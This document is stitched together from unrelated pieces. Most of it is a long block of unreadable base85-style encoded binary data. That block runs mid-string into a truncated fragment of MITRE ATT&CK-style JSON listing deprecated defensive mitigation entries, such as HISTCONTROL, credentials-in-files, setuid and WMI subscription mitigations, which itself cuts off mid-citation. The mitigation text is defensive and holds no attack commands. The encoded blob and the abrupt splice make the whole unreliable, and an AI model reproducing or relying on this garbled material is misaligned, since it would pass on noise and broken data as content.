zF@+K>E`l<5{e(+^dwHdJw&D~K>@Ugl?Sx0zN~(+WblwkHOfese3A88DizA={XWepB z&}zz4-6q}(4HD8XP4tOJFB+p}Kd!$l#t5&Z()@>pDhUsP%P?W(Ub}){i9tWxnTU`C z-Xsp-i*lwnvS8OuyH`Y%A{qtC=IzhUAodzU)@N<9KC`Q&G-GkpUw#__2t%eBRCt~d z9T@r7eei4<=T{zyY*##82pdIpL~~4hcNuX%o^CjHt$CtX5s(#)atk?=IEq%qjWXm* z*RRJO4Dr@|r6*FjSff$T-CBM0!nOtrEHn6&C#>bKDepRq_1i8fWzH?%)o#eGf;!qaruqsPrBIF^#+4MR`cXju1ed& zd3kI`#??`)4kI0E_IH}%X80vz?^}s{gR1ICW65xbt4k8pZyF-{a&QYF3831ph6cAFxoY%lV1MioVqIa=eKhPO~ z5!SeQNzG#yq5VSBRywmr8NU;%ipCy8Rb7F#EiGV*q=mbjHJ!f5$F2o|{3XHezF#Dp zJ{41~WV6mvUyZp%H5g94&)lI7BNySgN*5x5R-}>{Q4k2MZfTp^nE`3e?kkwsbzlRVR-|EDAy=@<59_r0u zg7G&A8W59Pl2IZCS_-N$%(_4|xYymQCRgej5|$HIPgJb{*UPHvEcY5|1pp`Vm1dYL zBmxF-;`&^9#qkHIK9YYdd>QWKT(vfRU<(&`hqv-k3X%4voyWSsv+cJQzH=LZip&2^XHE&0Pz+7X zgW0!xn5VI?P;C`8{OFFxng6gowg}Da+qBt5eVBcUgZ-Y+qk-x z>=5ERvkKKRbx%T&+@vXwb(Zb&qhwY@9=yg_(9(vj3Op{JI4nPtoRWhJNx}hMkTpuz zGjCPq=TsEJ0Etsdhi)1l0n)&F=+ox+4thHgm~H4DKb3Dc&53&<&{S>x zbFBS0&=Yhi6fXJIKWc>EGwIOOFo{p|A(G{lL4=v;{5{_@h0W?Sg-+*fxH6W2oL5wW zU~DK~QBuZ#)hL_tvr<&$S>(qyL#iPvZwETNudeHRE{4HaGyO7ATx9WR}ULJLtS*=ETBzDoSFx zlpE-(U|f4(VZABwg#Au2C8Hl|VuyX?_T_NvUIt1lXBo84mvPQdG8#`tSHE_;y)P5zE^jQBX=7Y6XpIaCrE}`biY9rC6eX}S>dizl ziimjXS>xY0>$Fbw;||ZiL`f}+B?eHs-jgjt%PI9n`LBMN@?aCK^3@n44a9Fv`r6XO znNH2zLMj*FaLJ}xjqis24UstW?Q%<@4(Ey{N6M<#(EcUk-F3L$(~~kDSjj z(^yuviY*0RKwHj&8rzutFcX!A`J=dp`%*E7{LKQQ8|_0JGZw=^_*k(=KOQ5$lBDe`YS11-)Zbh$Lr6oaL}KpDo9Mr*efx#>Ap z2sqMzCz82AcK>uNoAhKIZEZc%Aqs%Co@T-RK@VNB5veJQV^3kN& zT&5g%QmmtuCj0>-2@_7Rp{Pf++k)Ip*CU%G0l@|s>W}V(19k#Gr~_`<4dz= zg&5!xaFeuh!HPCH-D~@pLJNAH=fGB>@{|ZT5-t5OzlmSlS+{RS9qjaT*8V6U1rZCF zIdZcDt&-Oj-tZJ1GmGJPOz=k=suaa#+YcLFUlt(vL7c!{!IOC2;Vnknd#{ zmCVEszF(H{C(~k0r?lB@YLE0nA-0vAeAmG0D~Wd5%9XN+pL7GvN5mWW z{{#|OBtKL?AB=Dfl05)bXz0x8SXD)~?t&w!YDR1^6nB@R-p1P_Pp7g$zD48UJPZ*m zu5Aw|0eXpMOT_yH;x6gcO?e^(&jV#G5>PhcU@B?M6a(nD zuPr0du@O2&*!#k5D2Q8zQ;)nUhPQ|wQ)wd|bbrS4?_6;=MZwbM{ zRL|bXP|?xe%-Y1^k7SUjK5oB0hPc@f{^7fKRy-CgB#~^GRH;E9XhC#T0WlV>LJff( zhwKM%1rR$~dBa>bW^ZYGfdHdvSGo%H#E&wdZ3a=sP1aMN9#FK%N^1 zy(-F}1+Enj%vFj{XBQ^A*^#IPZzR!!UaiUL&f~iGHK{ZsutUM!fNqA-=>4cTrse9C z>?E5WqC2iZ-7VuQ1q+!OVQP;|OQcc94?{(=2u-V6FY)O;@w*3h4spdA2P}+nvj!w3R2s zj}X~ldi~U=vpz$b^1IeRuJnlQ zMgqF5i4a4|cERVoUcqs1ENyz%K|abDBkbp#J0(@YM0r`xhHU7ExGBC-wp11dw_^4WLbk31!yt z;bw2e;@u{SF1mA#jfTF&L1**yb;tGSIo@f_6;X_Pb6*tTaUF&+#p;@UNhn`sT|mB33oX>^S>m}mAd*2~0}H|^dm;p){ZhGA@<6daDaL&tl0GF^4wW~qOc_QWk(8({q1z9y-! zBWHTJx?$#uDWiQnt=Xcjws;Hg#Vp%kn_b5VdWzTQQF9&h{H1uR{+ynA#jJYKqC53% zv93w$YQgzBvuuu4Qq>L-@y(VSxLIW6!r5-TlOZI0xE;6Jv3EIMH}l zZWwv=7U8k{>p>!pQ?Q!1HrtZ@p-f7&erpg2hQ6!?!H;?=wLS*FGMV*rg>w(BeK~%m zNt$xgiiYjp|3O-SF4eLBeiNH31@Ykzc z^`XQf#-`$C`!?#^Ic!ReDR{QP3%Wc6USdI|8me2VIvZ4a)C^@a^ZQg$q>Ium{vCmR z=CO&zfE)&`B)|p$>^d!tZ)2FjXt_J5LPNOmdVXoS9l~mC_?_XI8$l6OKvcorjv(gO z&ZWr`cd^)59PGX;R28C42&)Q@3<%1Jm- zo%nJ1fVzGDuHcr<#uoc}vNL=hAWb?Wm8z50c;8518r?V=DS9aE z7vs+C1K!iW7sFk@;V#CLi^Y08MNdg>B3BFjEQU+0f$@5UjRcO-#`;b5evYsv8uIR(21S+KLi&sVAu0c9L z(hvk1@1(EcAU568FU2DQ8376`$Uc8eCJ`fDD%#E<5(YfSlkoSp>0_XW3Vb_*d5|EA zlOtk~`e`781A#QN>BS=U503wafRmX5-q(X#ScxdFQj`8LJrPcl_n?R{=Z0O1*C@Fd^cHxw*MZ*P8`Q1I-xbQz;%jXR$@A zV~reKR1>bw+TMrTVj558I5Q*=-XY2m@b71v$C6Lna%UR_N4Hyooa>P zc%HmY2*a^wae{trQ441F5b9H8%elBku4S=BHWd#95s$3T*nxWDkfYfMNlET8R3kf} z$M0sM0ZPmy12o%b3LnBOuv|{ZT9F#`uBBnMSjnS?In^ASiY!+UCw>)yXfkwwyXh*U z2(rV9lgD1MTP=)TWgfn7gWwfzff8#IqdtrM(d@p`ikVUelV zeO}%wmI~#aa^hjk^o}IlM=1CfnW2|=>H9KQq};NY3;;fGT+0sfYc5LA2IG2<{XK`3 zX*f3d%1T9<6lc^V?i~70idan%#bZ+Jlt{e7z!8?zd{_%rQLS2IV)6|u#CuFn%N~`P z_8m3nw``%>NlWViXd~;&He@q0cA3#Da}nJ1R)2MOOunZut9^tMXbDvaUzDGRd$>qn zOEhISD1?urLT`oq_>W1;GaQg9B3XKQ4hqnQL@BrtahBOHNc8k17Mdm+*NjhonM{$i zpwkn-ho_uBezyz5q^w9XbhW#;cwa#4Q#Pi{M~&#_oV+P2_JB6 zSeC99>(!6Q|AF5u4IT5Hq(`QF6p*5tIf;nf(@W<}(~eAVh;^V^-zQsoWQq zIehk&WHK?Y(unYb6Tf$m`~d>xN-+1dSWjxB7-M>8c;DN@Ji&o@my(0=JrIcMSvmQk zkm46=qcp{)mc_VH5czNcvWMWTUFTOwep{^Ja|Vq-Atj-1Bi-}>@;uoy$Mfxl!%4UkhzvXCRC8}A)DYzV1e?E3g1`#8wXK7YyC={uhOLq zP|P95MQbD9vQxq-(_M{%UGV&K0}D@v8VXfnal*-#1$n3;h;RH=4xJ8#!LV`U9c>A5 z_LaZ7BC+gc=|B3%aNaqSQ~~47TzhFVq4P`gm`4kD(v%894wpaH-bf?%m%>vsFP9Ef zGgHkzVARG4xAuy@f9EA_@{P@(PLk-0`FT}Jgch|;dF>{c9$PoZ`rYT_nU0T@^GmDr z-~+JdSU^$b((?#5p;utI%f_Uo!^5JQr&E@V6?f@$w%@>OM*oOHiplg5)VTg@ovemt31#@i^T%=NSj>F2_|u zrugwetEr4H((@0UhWxc%X4uan<5v~PGIx4hH{L&s+kfXpAa!J%JU)AQ3NQcwuzz0$ zJGxmK{ki^aRMGhCYEUoJGSiXX1F7g1iarfgoAlW> zAmb}{rl3*Ow#-@Cex4c{4tY*dw!IT`8c39~b4Aq^GOC6mtw8zk%5g)E#1u5-Z;fXf z;#}LIi{Ry%#A?{TvlcAl2O!8mv571*>E1rTq7-u|GN;^?ENjFEOK!i(P*+r7dWhZe zMgcLTx(#6igr-7n*t)vA;8?HH3-9 zWMwU}|4%J4=VQ&rUta!x*O#>0HzzBdm7*%=C?;w<-aU$|n2kB~)K8`Z?%?mF+*2{I zZ1Hy95a%Nz2p|#c2R(V}#*v~bqjR2@{(&U%TNKDqLlsL8@kj1%cA zgq0o`37}SHaeH;hzksV*c(LhNecddIpiB9Fbv99~g?(|5kpwPHSHj}NRMNm1LvJmL zaO)E*BHm>=d?0&)>^(}n< z1+?|%q%|K8@Q0QmQdstMnN%YIZDQSaN4ThUzJk0CJ>JX1aM{#HYG zwdZsXrI7(*Kkc?I?QI|zl5Aib(dhH5j49q9ouA#>+b0Qakf_PDx$?tUrIV@X!fcW& zlvrT%caD~G0XuWw9Ns83pXsxivD1Y%vDPzOT@s62YoCnq=$DnB`8-CvFrxy_iD5b| zQ3AEONRe$Aa7nb2182>#>1-0HF>GbGR!PCU(VbySNOC4%kP{i(VitJ>1SvoulgT1$ zi(AE>hIxS_{zg9iUaT%0HJr_UM(N0BKmLDVFaK=tWhRVTum8bbg1*3kTrUZXmJ_PN z=?{xIP^HtFq+@>aWAY@YBs4cyIAe9ly?hoRv4gWWJ|B_BY;D}7$rrtcB*jvrKW$-%v6`m3s^_~!i!>PpE07VKi;Lko^j%XR?*T(X^vNo%Rnu$ zL7pRnP6SeNe^x7amhB^v?)#~0_s9xkmJDSW&Vv#nu#@=po<6P#Q>IKX;0uAC&Gz8n z&qbm}eC%9tsZpD%#e$t~7rSKny=uiyJ})c!_6wVX?FRS0F?ZMCV=^#NnQ$(954{#j89-#fx9@4y&P z0^YI+w2TZ=$((R?VLsJOQzf)%gTqFQd8Pf{XX( z6B~;?hahDzliP7)9DlIFh1~s(_5PFTNKD$a?x%+d(kVIvuCz0w;Ln@$MJsEU=+H+l zTX}eJAVvA$D}07yD|xX2kotJU+wm$6^ zc5AN&-{fI-{&iyXC0zTJWbbkPM8E+{ka4?-XjvD%ehr^&KphyS3j+))c}l#fL_iFg z{NixiD=$UPt43GTD(7(#L-&LP-4ztsTr!2){T!C<&UizluNBPtv9qNLFn9~*93|3X z2MU-0UH7CY!cij#nG%K8-lR7#W%tfwznpHPkacEeyjW z@`)$cg$TZ}5_soVEv#lE0R~4$)6lbR{y56dDSPAMy`eG@W%(Tth z!<5d0-9+e7E0f+_D2}cOR7Ia;$x8C}Y=DZA$TqzmPBkwep3^rQvN{YuA5f>U4B+Y? zxRliRvpYj54jI<;N?@Kpg0ZPC-Q%?>W5nr;D>H~0Y8~4Y(WH^2Y+zVdh~AkxlqzQ3 z{LBmTp#L83txMF!Mo{q(H{0Z;^D=1v2^^wDS)mVZZldW|x3$LaH%$WD!^Hdk*fcya z+joSFk=x{E6qR8Q!?SFAdlK#UK4_$)gwP(VcstPHU35i;jz)E8sxLCC z-a+^4Mr537Nq08=JW+UPLkzl>?C?i+pKT1~N`Is5==gl}NfqITn5p8VLF6kfL}({* zyo6DcI9H^6&zyOa$vMooQya#AGC^Un`2hesF71(Q_ZrIGed_@!CI0Exi67Q*I(*icF$L`D*A*t8 zx}`oyY7Hq;Y{NkLkwLoI`W|mpr&qSd5M&1FekLQk^jbs`3tMjz4`LGinT>uiI2b7*F@Fz=rul= zH`GLU^0Zj23g3mmJ6;6gwG=H%ftJhdoC{Hx0kk^IFFO} zHzrP-B&2GvJ<&MHsa9iFePn!M4h6*tvB<%ajm2gCF0(>@`$wj4fV z19uw97a0laFV)4)Vd!zk0bFluSP9JMHC_!on@(%;qMB?RSPQ3~9H?j5A~<0qbqNJB z*A0rij!W^rqF)#${QIjwM+i0DOzgE2K~RbU5dw?xEior(0kbBPYuy}g7GkUzhn1HQ zEpMU&qT;vx6MbFqGxg?mAvCNZ)=L|l1V>7E{M!#5EQ=+Gb`D6uHx>|^BQ#XniyB>i zoWW#@4D6J)dC*_erAFs5#ydYm78=xH>0LmDci@m=sfUNJMNy6ea2wlabL31d?8i$Yx7@`qti&>CnBaA2m2liV{X3uVt zz*(QanOpcEu`!J;4lGv;iR*Bq+;JrRn9< zMZ;L-lpU@ZlR-2MRY$lDby`xagfbE_93U$IC^hFS@QwSetd5B#w_eEx7RHXU{$5I|k299=7j#1!D+o3yTswnyn9^yl2 zpa?cYoz=ikVtm389g1e2@{tmuu@6Q*ErAkw67E;NQH@XbXh8ES4Rp*ZnzIPbM`?mP z)qx1cI%Yd2>S8P9H5)+gRGc(p!vNv)YM?o7;JqR^FQuM`_#->`JKg5|nzw!xb0@F? zq(B?#UG@m2^$Dgt5PX^r*;OSgw0y{(gOw#dCa-@*K|O_-l_R(GYQFa8@;xOxxR!sVyH=FVQg}a4$%I|`szu_F`5yY zNnvsF${%vrf3Kr>_ytw7KW|BWuF?=bRkemT26FZ`whnZ9wzhvv$)Ec3|7vMJM=mo# zT6X`>{`#d)sAmZrN}kdoI)UyGpit45htNnyGipuF8yNYH9&fTROobKXmSZK8zAzlk(K&;1y{sjEXU}*02XJXukusY#p%`#6YC61Y>IQ;P8m#ZjHvs z=KX==`))nms_OLboED)S3-D9Lp>_EeeX3~W`dOP-)UG5Y3`3bzwb!Gw+Q$+yT21xe z2bg*DsP+*PUm;34={KK}zmqJK7YRcr>yOR69Rg;DT`b}|>IRug+mj*yJJ0NsdCWHq6d7)f6F|(IeGho{qA&#I_KCEA|W*%Z=3IPC&hp8X%JjsYQ9gO z7Wq_EApWyY8`#(z{nx2Kz4`A)V4Rlh06t3awe%}I>?2K3o3QvgiT8!Mq*UdsYlv+# zA~Z?w#ly9cQ^hUO&-hMw_-l5Q`6}yp7hCP7Vj<#jc_5KSg*2rw+;cVeFeJRzxK15AJ10aa3U@W<+=9ewJ-*BOSx^+gnIg|mRUyxxSLQKv|CS5 z^pm%cO9-t8e*0bYO#z5Fi3%_h9d^=mu|R^rm{LDd4MBYB05czav`-R{6)I{Q?1}|9 z6#Y}-L*F31wI}di+Yk zaP?GnwuK0Ux8oqexqPMeDlQuKzq(;=ZY(i=o6XcNWEUS*lBOsy5Fw=leYfku41AH> z*CCR2P*3=ZC7XXY=!){q>-w5k$Ln+a{x+2Y0?~YSVgK_^yMK)GKd%2_-<_P~zXJU0 zMxcKf{&CI!^z?t)7WBK}ziy8BXT#x7Y3={MRpNJ?-zD;YAwfd^kND^xn=O7f{$0uY zmvPP~OZWLFe%JN>4)D9!=`Vn;Pi64m<@*07efk~c_YV1AC{q}JqWoLG{C9-k$;H1A z7K#6c@IO@J@20;q9)Fp7kpIV5_>=$m9p(3e=`R$2>i>xHXZiFy%D?9Jzc2s*a2Nmp pe$Vv3TmS1U`p?!snf}T8A9JdlBC:\\Windows\\System32\\ by default) of a domain controller and/or local computer with a corresponding entry in HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Notification Packages. (Citation: Microsoft Install Password Filter n.d)","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--02f0f92a-0a51-4c94-9bda-6437b9a93f22","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1151","external_id":"T1151"}],"modified":"2019-07-25T11:46:32.010Z","name":"Space after Filename Mitigation","description":"Prevent files from having a trailing space after the extension.","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--03c0c586-50ed-45a7-95f4-f496d7eb5330","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1148","external_id":"T1148"},{"url":"http://www.akyl.net/securing-bashhistory-file-make-sure-your-linux-system-users-won%E2%80%99t-hide-or-delete-their-bashhistory","description":"Mathew Branwell. (2012, March 21). Securing .bash_history file. Retrieved July 8, 2017.","source_name":"Securing bash history"}],"modified":"2019-07-24T19:34:34.065Z","name":"HISTCONTROL Mitigation","description":"Prevent users from changing the HISTCONTROL environment variable (Citation: Securing bash history). Also, make sure that the HISTCONTROL environment variable is set to “ignoredup” instead of “ignoreboth” or “ignorespace”.","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--0472af99-f25c-4abe-9fce-010fa3450e72","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1081","external_id":"T1081"},{"source_name":"Microsoft MS14-025","description":"Microsoft. (2014, May 13). MS14-025: Vulnerability in Group Policy Preferences could allow elevation of privilege. Retrieved January 28, 2015.","url":"http://support.microsoft.com/kb/2962486"}],"modified":"2019-07-24T18:12:19.081Z","name":"Credentials in Files Mitigation","description":"Establish an organizational policy that prohibits password storage in files. Ensure that developers and system administrators are aware of the risk associated with having plaintext passwords in software configuration files that may be left on endpoint systems or servers. Preemptively search for files containing passwords and remove when found. Restrict file shares to specific directories with access only to necessary users. Remove vulnerable Group Policy Preferences. (Citation: Microsoft MS14-025)","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--06160d81-62be-46e5-aa37-4b9c645ffa31","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1212","external_id":"T1212"},{"url":"https://arstechnica.com/information-technology/2017/03/hack-that-escapes-vm-by-exploiting-edge-browser-fetches-105000-at-pwn2own/","description":"Goodin, D. (2017, March 17). Virtual machine escape fetches $105,000 at Pwn2Own hacking contest - updated. Retrieved March 12, 2018.","source_name":"Ars Technica Pwn2Own 2017 VM Escape"},{"url":"https://blogs.technet.microsoft.com/srd/2017/08/09/moving-beyond-emet-ii-windows-defender-exploit-guard/","description":"Nunez, N. (2017, August 9). Moving Beyond EMET II – Windows Defender Exploit Guard. Retrieved March 12, 2018.","source_name":"TechNet Moving Beyond EMET"},{"url":"https://en.wikipedia.org/wiki/Control-flow_integrity","description":"Wikipedia. (2018, January 11). Control-flow integrity. Retrieved March 12, 2018.","source_name":"Wikipedia Control Flow Integrity"}],"modified":"2019-07-24T19:23:33.259Z","name":"Exploitation for Credential Access Mitigation","description":"Update software regularly by employing patch management for internal enterprise endpoints and servers. Develop a robust cyber threat intelligence capability to determine what types and levels of threat may use software exploits and 0-days against a particular organization. Make it difficult for adversaries to advance their operation through exploitation of undiscovered or unpatched vulnerabilities by using sandboxing, if available. Other types of virtualization and application microsegmentation may also mitigate the impact of some types of exploitation. The risks of additional exploits and weaknesses in implementation may still exist. (Citation: Ars Technica Pwn2Own 2017 VM Escape)\n\nSecurity applications that look for behavior used during exploitation such as Windows Defender Exploit Guard (WDEG) and the Enhanced Mitigation Experience Toolkit (EMET) can be used to mitigate some exploitation behavior. (Citation: TechNet Moving Beyond EMET) Control flow integrity checking is another way to potentially identify and stop a software exploit from occurring. (Citation: Wikipedia Control Flow Integrity) Many of these protections depend on the architecture and target application binary for compatibility and may not work for software targeted for defense evasion.","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--0640214c-95af-4c04-a574-2a1ba6dda00b","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"T1012","url":"https://attack.mitre.org/mitigations/T1012","source_name":"mitre-attack"},{"source_name":"Beechey 2010","description":"Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.","url":"http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"},{"url":"http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html","description":"Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.","source_name":"Windows Commands JPCERT"},{"url":"https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm","description":"NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.","source_name":"NSA MS AppLocker"},{"source_name":"Corio 2008","description":"Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.","url":"http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"},{"source_name":"TechNet Applocker vs SRP","description":"Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.","url":"https://technet.microsoft.com/en-us/library/ee791851.aspx"}],"modified":"2020-01-17T16:45:24.641Z","name":"Query Registry Mitigation","description":"Identify unnecessary system utilities or potentially malicious software that may be used to acquire information within the Registry, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--06824aa2-94a5-474c-97f6-57c2e983d885","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1162","external_id":"T1162"},{"url":"https://support.apple.com/en-us/HT204005","description":"Apple. (2016, December 6). Automatically re-open windows, apps, and documents on your Mac. Retrieved July 11, 2017.","source_name":"Re-Open windows on Mac"}],"modified":"2019-07-24T19:49:43.716Z","name":"Login Item Mitigation","description":"Restrict users from being able to create their own login items. Additionally, holding the shift key during login prevents apps from opening automatically (Citation: Re-Open windows on Mac).","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--073cc04d-ac46-4f5a-85d7-83a91ecd6a19","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1166","external_id":"T1166"}],"modified":"2019-07-25T11:43:19.870Z","name":"Setuid and Setgid Mitigation","description":"Applications with known vulnerabilities or known shell escapes should not have the setuid or setgid bits set to reduce potential damage if an application is compromised. Additionally, the number of programs with setuid or setgid bits set should be minimized across a system.","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--08e02f67-ea09-4f77-a70b-414963c29fc2","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1223","external_id":"T1223"},{"url":"https://live.paloaltonetworks.com/t5/Ignite-2016-Blog/Breakout-Recap-Cybersecurity-Best-Practices-Part-1-Preventing/ba-p/75913","description":"Kiwi. (2016, April 6). Breakout Recap: Cybersecurity Best Practices Part 1 - Preventing Opportunistic Attacks. Retrieved October 3, 2018.","source_name":"PaloAlto Preventing Opportunistic Attacks Apr 2016"}],"modified":"2019-07-24T14:19:23.148Z","name":"Compiled HTML File Mitigation","description":"Consider blocking download/transfer and execution of potentially uncommon file types known to be used in adversary campaigns, such as CHM files. (Citation: PaloAlto Preventing Opportunistic Attacks Apr 2016) Also consider using application whitelisting to prevent execution of hh.exe if it is not required for a given system or network to prevent potential misuse by adversaries.","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--0b3ee33e-430b-476f-9525-72d120c90f8d","type":"course-of-action","created":"2019-03-14T20:17:16.234Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://attack.mitre.org/mitigations/T1488","source_name":"mitre-attack","external_id":"T1488"},{"description":"Ready.gov. (n.d.). IT Disaster Recovery Plan. Retrieved March 15, 2019.","url":"https://www.ready.gov/business/implementation/IT","source_name":"Ready.gov IT DRP"},{"source_name":"Beechey 2010","description":"Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.","url":"http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"},{"url":"https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html","description":"Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.","source_name":"Windows Commands JPCERT"},{"url":"https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm","description":"NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.","source_name":"NSA MS AppLocker"},{"source_name":"Corio 2008","description":"Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.","url":"http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"},{"source_name":"TechNet Applocker vs SRP","description":"Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.","url":"https://technet.microsoft.com/en-us/library/ee791851.aspx"}],"modified":"2021-08-23T20:25:22.102Z","name":"Data Destruction Mitigation","description":"Consider implementing IT disaster recovery plans that contain procedures for taking regular data backups that can be used to restore organizational data.(Citation: Ready.gov IT DRP) Ensure backups are stored off system and is protected from common methods adversaries may use to gain access and destroy the backups to prevent recovery.\n\nIdentify potentially malicious software and audit and/or block it by using whitelisting(Citation: Beechey 2010) tools, like AppLocker,(Citation: Windows Commands JPCERT)(Citation: NSA MS AppLocker) or Software Restriction Policies(Citation: Corio 2008) where appropriate.(Citation: TechNet Applocker vs SRP)","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--0bc3ce00-83bc-4a92-a042-79ffbc6af259","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1084","external_id":"T1084"},{"source_name":"FireEye WMI 2015","description":"Ballenthin, W., et al. (2015). Windows Management Instrumentation (WMI) Offense, Defense, and Forensics. Retrieved March 30, 2016.","url":"https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf"}],"modified":"2019-07-25T12:35:09.565Z","name":"Windows Management Instrumentation Event Subscription Mitigation","description":"Disabling WMI services may cause system instability and should be evaluated to assess the impact to a network. By default, only administrators are allowed to connect remotely using WMI; restrict other users that are allowed to connect, or disallow all users from connecting remotely to WMI. Prevent credential overlap across systems of administrator and privileged accounts. (Citation: FireEye WMI 